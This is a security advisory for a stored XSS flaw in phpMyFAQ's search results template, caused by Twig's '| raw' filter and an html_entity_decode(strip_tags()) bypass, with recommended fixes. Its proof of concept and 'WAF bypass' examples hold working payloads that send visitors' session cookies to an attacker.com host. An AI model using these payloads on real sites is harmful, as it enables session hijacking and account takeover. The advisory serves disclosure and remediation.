GHSA-pqh6-8fxf-jx22 phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering

• Packagist phpmyfaq/phpmyfaq: < 4.1.2 → fixed in 4.1.2 • Packagist thorsten/phpmyfaq: < 4.1.2 → fixed in 4.1.2

Summary The search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping. A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output. This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch. --- Affected Files | File | Location | Issue | |---|---|---| | `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` | `(Vertical Bar) raw` disables autoescape | | `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads | | `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) | --- Details Vulnerability A (Primary): `search.twig` — `| raw` Disables Autoescape File: `phpmyfaq/assets/templates/default/search.twig` ```twig {{ result.question | raw }} {{ result.answerPreview | raw }}... ``` Twig's autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data. Seven (7) instances of `| raw` exist in `search.twig`: ```twig {{ result.renderedScore | raw }} {{ result.question | raw }} {{ result.answerPreview | raw }} {{ searchTags | raw }} {{ relatedTags | raw }} {{ pagination | raw }} {{ 'help_search' | translate | raw }} ``` Each of these constitutes an independent XSS surface if its data source is compromised. --- Vulnerability B (Amplifier): `SearchController.php` — `html_entity_decode(strip_tags())` Bypass File: `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` ```php $data->answer = html_entity_decode( strip_tags((string) $data->answer), ENT_COMPAT, encoding: 'utf-8' ); ``` This pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized. Bypass walkthrough: ```text Stored in DB: strip_tags() → no change (no real tags detected) → html_entity_decode() → | raw output → executes in browser ``` --- Attack Chain Prerequisites: Attacker has FAQ editor / contributor role (low privilege). Step 1 — Payload injection Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body: ```html ``` Step 2 — Persistence The payload is stored in the DB without HTML sanitization at the storage layer. Step 3 — Victim triggers the XSS Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server: 1. Retrieves the record from the database 2. Applies `strip_tags()` → entity-encoded payload passes through 3. Applies `html_entity_decode()` → raw `` is restored 4. Passes the value to `search.twig` as `result.answerPreview` 5. Template renders with `| raw` → XSS executes Step 4 — Impact • Session cookie exfiltration → full account takeover • Administrator session hijacking (admin visiting search page) • Persistent attack: payload fires for every visitor until manually removed • Potential for worm propagation via auto-created FAQ entries --- PoC Prerequisites: Attacker has FAQ editor / contributor role (low privilege). Step 1 — Inject payload via FAQ editor: ```bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=' \ -d '{ "data": { "pmf-csrf-token": "", "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;", "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "searchable-keyword", "author": "attacker", "email": "[email protected]" } }' ``` Step 2 — Trigger XSS as victim: ``` https://target.example.com/search.html?search=searchable-keyword ``` The search result page renders the restored `` payload. The attacker's server receives the victim's session cookie. Alternative payloads (for WAF bypass): ```html &lt;details open ontoggle=alert(document.cookie)&gt; &lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt; ``` --- Impact • Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context. • Integrity : DOM manipulation, phishing overlay injection. • Scope : Attack crosses from contributor privilege context to all site visitors, including administrators. --- Recommended Fix Fix 1 (Critical) — Remove `| raw` from user-controlled fields in `search.twig` ```diff • {{ result.question | raw }} • {{ result.answerPreview | raw }}... + {{ result.question }} + {{ result.answerPreview }}... ``` If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) before passing data to the template, then retain `| raw` only for purified output. Fix 2 (Critical) — Remove `html_entity_decode()` from search result pipeline `SearchController.php` ```diff • $data->answer = html_entity_decode( • strip_tags((string) $data->answer), • ENT_COMPAT, • encoding: 'utf-8' • ); + $data->answer = strip_tags((string) $data->answer); $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12); ``` Fix 3 (Recommended) — Audit all `| raw` usages in `search.twig` The following additional `| raw` instances should be reviewed and sanitized: ```twig {{ searchTags | raw }} → apply HTML Purifier or remove | raw {{ relatedTags | raw }} → apply HTML Purifier or remove | raw {{ pagination | raw }} → safe only if generated entirely server-side with no user input ``` Fix 4 (Preventive) — Add `htmlspecialchars()` in `logSearchTerm()` ```diff $this->configuration->getDb()->escape($searchTerm) + htmlspecialchars( + $this->configuration->getDb()->escape($searchTerm), + ENT_QUOTES | ENT_HTML5, + 'UTF-8' + ) ``` ---